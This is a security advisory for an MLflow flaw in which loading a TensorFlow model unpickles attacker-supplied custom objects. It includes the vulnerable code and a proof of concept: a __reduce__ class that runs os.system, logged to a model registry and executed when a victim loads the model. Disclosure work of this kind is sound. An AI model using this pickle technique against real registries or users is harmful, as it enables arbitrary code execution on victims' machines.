Cloudpickle Load on TensorFlow Keras Model Leading to Code Execution

Products Impacted

This vulnerability was introduced in version 2.0.0rc0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

This vulnerability exists within the mlflow/tensorflow/__init__.py file, within the function _load_custom_objects. This is called when the mlflow.tensorflow.load_model function is called.

def _load_custom_objects(path, file_name):
	custom_objects_path = None
	if os.path.isdir(path):
    	if os.path.isfile(os.path.join(path, file_name)):
        	custom_objects_path = os.path.join(path, file_name)
	if custom_objects_path is not None:
    	import cloudpickle
    	with open(custom_objects_path, "rb") as f:
        	return cloudpickle.load(f)

An attacker can exploit this by creating a custom function containing a pickle object that will execute arbitrary code when deserialized and adding it under the custom_objects parameter when calling the model.tensorflow.log_model() function to log the model to the server.

# Add the custom object to be pickled
def create_pickle():
	import os
	class RunCommand:
    	def __reduce__(self):
        	return (os.system, ('ping -c 4 8.8.8.8',))
	return RunCommand()
...

# Build and Compile the Model
model = Sequential([
	Dense(10, activation='relu', input_shape=(4,)),
	Dense(10, activation='relu'),
	Dense(3, activation='softmax')
])
...

# Log the Model
with mlflow.start_run():
	mlflow.tensorflow.log_model(model, "model", custom_objects={'PickleFunction': create_pickle()}, registered_model_name="TensorFlowKerasPickle")

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/TensorFlowKerasPickle/1"
loaded_model = mlflow.tensorflow.load_model(logged_model, dst_path='/tmp/tensorflow_model')